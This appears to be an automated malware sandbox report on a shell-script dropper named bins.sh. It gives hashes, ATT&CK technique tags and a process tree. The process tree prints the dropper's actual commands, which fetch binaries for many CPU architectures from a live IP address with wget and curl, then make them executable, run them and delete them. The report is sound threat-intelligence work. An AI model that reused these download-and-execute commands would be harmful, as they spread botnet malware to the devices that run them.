5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4

Analysis

max time kernel
107s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20260126-en
resource tags

arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
09/05/2026, 23:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260509-3b7ldset5y
SHA256 5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4
MD5 0526c17f6f2fdb59e47bc6275e510377
SHA1 9d36bb7d689e9ae8f1ff857e353438ea11eaf3a7
SHA512 d4b9c15753fe90a3e0b2225c1d04a2ddcd3902ad5a6f12195c45a466b9e198a811c71f883512c92f7b18674f03c8bddc2c0d4ccb416681ea50d8b503a91219c6
TLSH
T1E54196DBA2E090B3C469ED41FB54B4C4E19D86C361FFAEBCFDA45562489900CF1B6B60
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
898	chmod
903	chmod
913	chmod
749	chmod
809	chmod
873	chmod
883	chmod
908	chmod
788	chmod
878	chmod
888	chmod
918	chmod
754	chmod
853	chmod
858	chmod
868	chmod
734	chmod
744	chmod
767	chmod
863	chmod
893	chmod

Executes dropped EXE 21 IoCs

ioc	pid	Process
/tmp/x86	735	bins.sh
/tmp/x86	745	bins.sh
/tmp/i386	750	bins.sh
/tmp/i386	755	bins.sh
/tmp/amd64	769	bins.sh
/tmp/amd64	790	bins.sh
/tmp/arm	811	bins.sh
/tmp/arm	854	bins.sh
/tmp/armv7l	859	bins.sh
/tmp/armv7l	864	bins.sh
/tmp/arm5	869	bins.sh
/tmp/arm5	874	bins.sh
/tmp/arm6	879	bins.sh
/tmp/arm6	884	bins.sh
/tmp/arm64	889	bins.sh
/tmp/arm64	894	bins.sh
/tmp/android_arm64	899	bins.sh
/tmp/android_arm64	904	bins.sh
/tmp/mips	909	bins.sh
/tmp/mips	914	bins.sh
/tmp/mipsle	919	bins.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mipsle

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
911	rm
912	curl
914	mips
916	rm
917	wget
919	mipsle
907	wget
909	mips

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/android_arm64	wget
File opened for modification	/tmp/android_arm64	curl
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/mipsle	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:713
- /usr/bin/wget
  wget http://176.65.139.166/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:715
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/x86
  ./x86
  2⤵
  PID:735
- /bin/rm
  rm -f x86
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://176.65.139.166/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/x86
  ./x86
  2⤵
  PID:745
- /bin/rm
  rm -f x86
  2⤵
  PID:747
- /usr/bin/wget
  wget http://176.65.139.166/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/i386
  ./i386
  2⤵
  PID:750
- /bin/rm
  rm -f i386
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://176.65.139.166/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/i386
  ./i386
  2⤵
  PID:755
- /bin/rm
  rm -f i386
  2⤵
  PID:757
- /usr/bin/wget
  wget http://176.65.139.166/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/amd64
  ./amd64
  2⤵
  PID:769
- /bin/rm
  rm -f amd64
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://176.65.139.166/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/amd64
  ./amd64
  2⤵
  PID:790
- /bin/rm
  rm -f amd64
  2⤵
  PID:793
- /usr/bin/wget
  wget http://176.65.139.166/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/arm
  ./arm
  2⤵
  PID:811
- /bin/rm
  rm -f arm
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://176.65.139.166/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/arm
  ./arm
  2⤵
  PID:854
- /bin/rm
  rm -f arm
  2⤵
  PID:856
- /usr/bin/wget
  wget http://176.65.139.166/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:859
- /bin/rm
  rm -f armv7l
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://176.65.139.166/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:864
- /bin/rm
  rm -f armv7l
  2⤵
  PID:866
- /usr/bin/wget
  wget http://176.65.139.166/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/arm5
  ./arm5
  2⤵
  PID:869
- /bin/rm
  rm -f arm5
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://176.65.139.166/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/arm5
  ./arm5
  2⤵
  PID:874
- /bin/rm
  rm -f arm5
  2⤵
  PID:876
- /usr/bin/wget
  wget http://176.65.139.166/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:877
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/arm6
  ./arm6
  2⤵
  PID:879
- /bin/rm
  rm -f arm6
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://176.65.139.166/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/arm6
  ./arm6
  2⤵
  PID:884
- /bin/rm
  rm -f arm6
  2⤵
  PID:886
- /usr/bin/wget
  wget http://176.65.139.166/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:887
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/arm64
  ./arm64
  2⤵
  PID:889
- /bin/rm
  rm -f arm64
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://176.65.139.166/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/arm64
  ./arm64
  2⤵
  PID:894
- /bin/rm
  rm -f arm64
  2⤵
  PID:896
- /usr/bin/wget
  wget http://176.65.139.166/android_arm64 -O android_arm64
  2⤵
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:899
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://176.65.139.166/android_arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:904
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:906
- /usr/bin/wget
  wget http://176.65.139.166/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:911
- /usr/bin/curl
  curl -O http://176.65.139.166/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:912
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/wget
  wget http://176.65.139.166/mipsle -O mipsle
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/chmod
  chmod +x mipsle
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/mipsle
  ./mipsle
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:919

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.7MB
SHA256 a728ec777c4443d8f517fde61fcd6b8402997d85f1c076c9d3fc5ba71975f41b
MD5 93aeb82a0c809e5fd2b4984b7f273368
SHA1 3e2b4620ae8a9a8e07e3a75520e10ccc063af767
SHA512 66407af1e911148f4c1b0d7c7598e1ff12668b38551908c64aafadc277df7b9ffbce962464f9d2651f06e0547b3c0daea7544b709c69ee126b72eba92008b122
SSDEEP 49152:PD3PCIClAuQ8L12I7GbraWe5EBbSbZYZo8UxYh5a64O:mIClZQ7I7QaEY2hUZO
TLSH
T1E5363B17EC9586E8C0EAE23089629253BE717C495B3023D72F50F7392F72BD4AA79744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

android_arm64

Path /tmp/android_arm64
Size 4.9MB
SHA256 ebf34459b8f6f2cb01ffb6ee69addee09e8efb104b2bda8eef239fad57d9e0a2
MD5 75e9fe72d572c6e9b74639bdc108ec40
SHA1 7271ea2b04384a7d68311812cb420f8f3794bcfe
SHA512 28a96c6fd16f34f034f23133ec16bc8a9abd57153ce7d7f7d21cb86338460ca5e6fbde2398a2e9546cd5b66fe43b0e0bb58ff6d3608fe5aad023a243da7e473b
SSDEEP 49152:CayW6noCfpPttVqM9u5E6Kocc6ZfGjP3nBhD:ByW4oCfpPttEM9kE4ccSQ
TLSH
T10F364A9CFC2EE452DD88BAB46BA10197B735BC09DF52C7222614B76D78F33949F12260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.6MB
SHA256 88a36e0423fda596ef8a70c8d1cf732f7b6475ff546b68c32a62abaf6bfe2984
MD5 e775f6d1b2b7aa2cf2fcee3304de2cb0
SHA1 aac36f7224e942952de059ac4b7cba0b6230fddc
SHA512 725b34dcdcd9aafd3a1acc20d30eafa3fc9f77d6626691f8d0a10f5b9398ccf12fa3095afcb8f77c0edfd5ff004264a6f5b89d371c1670355dbc3265ca0c0404
SSDEEP 24576:MZL0elvVA+6FzudFg3qehmCNGtxKr7wrauZD8p+nXsHulklqgytXxnsxOy+YOAEu:M10vIcu1FUfd4ahonyeFkOVFK
TLSH
T141261B87B8924983C4E43676B87E80C433A35EBA9B9753576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 4.7MB
SHA256 cda61b3a387c7a76bd5e51674d5f421bf9a029aa6da74c1be653ec22c088b12c
MD5 b756d677f029fc9b3a47f7b68c630f7e
SHA1 3bf16ab021e006d16db8f30127baa3d3089b663f
SHA512 4dd4794c64884eac871ab98fe22d23badb63ff9b255a6ade412fb12f8f598d6b02a678d3e8ab49607d4fc865e230bd8d59208bec004005fa9cc2e9ab38e0d093
SSDEEP 24576:a63ApvHDOjZgNx2vOrfxiFpo7tGjzZlaH1Ob8W7YDRaV4NC8kJDhYC7fnjmbLOX+:aNy0DRaV4PkJolTNsJ7nJvOyT65obz
TLSH
T11D360897B8824983C4E43676B8BE80C433A35EB99B9753576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.7MB
SHA256 339102ccb1a85d2de4b7472e5b24f10b328bdb1fdb15cf4d9c81b5dc3c996676
MD5 639e5f8ba85c978350bc2c9688f6074d
SHA1 1774b9ae8d5b835396542b47c12252c1247ab8ee
SHA512 fdef336ff586a9179cfae710548b0e376401cf0940174cce365d1530de1e10795cd1d6816f6715cce915aa9eb35a580cea3e9233105a7548d3668fa8513b1591
SSDEEP 49152:VV+w4QoJsuZbMBIn2W1pe4a0KJG1UkEK+yyroda:H+vZsIn2W1Va0Kc1DyT
TLSH
T160361A97B8824A83C4E43676B87E81C433A35EB99B9B53576D04FE3C3ABE1990D35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.4MB
SHA256 3eda9cd25e467a10e6c9eeb061c20f4d7075e5d3ab91d1be59fdb7ad0087c8e8
MD5 bc62dc6688a58ccefb9e072e9cc6a0f9
SHA1 3cb127ee9235c7d02514fb38e7dfe83e3fa7cb66
SHA512 c5d91ed7072d763037fd814f63d971d76302cd85ced8802d85a5f144eb7fc46863822bc0f2247c2a2ece0bfc20fc6ae87b9328013c4f383ba3aa53aad3da8148
SSDEEP 49152:/n8CzBkAfBxJi9f5OFK+g25PAx5Ek16g+E+y:/8CFDBxJi9f5OFKZ+PcEry
TLSH
T186266CA9B81D7452EAC87EB86B2541D4B335FC49DF4183273614F7AEA9F2358CF21260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 5.2MB
SHA256 bea2863980eedcdc57ea14a6c733e7f68ac786f1793ae52a45fc6bf5435d66f3
MD5 c13fe770b18beca497c72dd254f15b4f
SHA1 de7b95bf137e49c0f5152d62a24a21ca3e9b7897
SHA512 759e25f8b38e72918ff24b431e3979c585fd9b2e09c7a8b68a98795af7c18af802d0326bb43d89e3f2ca22dbc0b450fd86c718b1a375944c6341d6dd8c42dc5f
SSDEEP 49152:f2gr20Q9SbhXVLmmUu0QRpVwYkxcG6m6S61ndCr+QbKim0HH:eA5vnSJm0n
TLSH
T1524629236F98DB1EC628123058B2CA9567291C8A46DBA517F251F31DF9F20BC496FCF1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsle

Path /tmp/mipsle
Size 5.2MB
SHA256 03bf5df18f7b546bb2e98f624f631f8888098e641c423b4821f0fdb4a925703b
MD5 7315d6b3184da18833691c46c63e8ede
SHA1 32e0a75b2c14c8d9bf6c6636c645eaa91e3346a1
SHA512 b389eeddb38601d7e1a0e3c0d0c82dce58a1a19edcda94b1fa58a21415a8b8241c8691e3d2671355b623f174d366eebb6de98716203e8a03a885feb97c0c4ec8
SSDEEP 24576:vA1LbNagTSnF6MUxpyRhKLnMRCNbfvThHwFEwB0WGvxe5qwm6pD41TQOW2HNn+iw:vQUtneLVwm6edtn7Ir2bW
TLSH
T15946E845ACC42BA6C02C9B7494FACE5263741D144AF14A3626A4FFE9BC762787F078DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.6MB
SHA256 1b141165df34e7f56eeca2a18ad3d4f98a55a456e14624133cc2d79c3e531bc3
MD5 630af656ef98e4d15a5e372929307a33
SHA1 fb44cdb927c356e8e4308a79d3ecb6130a978516
SHA512 3738c8d66f6dff4edb1986cb3fb190e3c14391b0b3680dcad52d5c3e8fa621fe5c41849183854eee844d1b8543e3d8b844f3879434a07b4a076bd526564b5213
SSDEEP 49152:lpMwciYpuWQYs7FR5+Q+uvvunTcP8+pvrIW++xFzbiT/59JY2QNVEH:7Mw0BOR5+Q+uvjPM3jQkH
TLSH
T1D4262851FECB44F6E9031E3044BBA26F67315D058B29DBC7EA507F2AE9776D21932208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads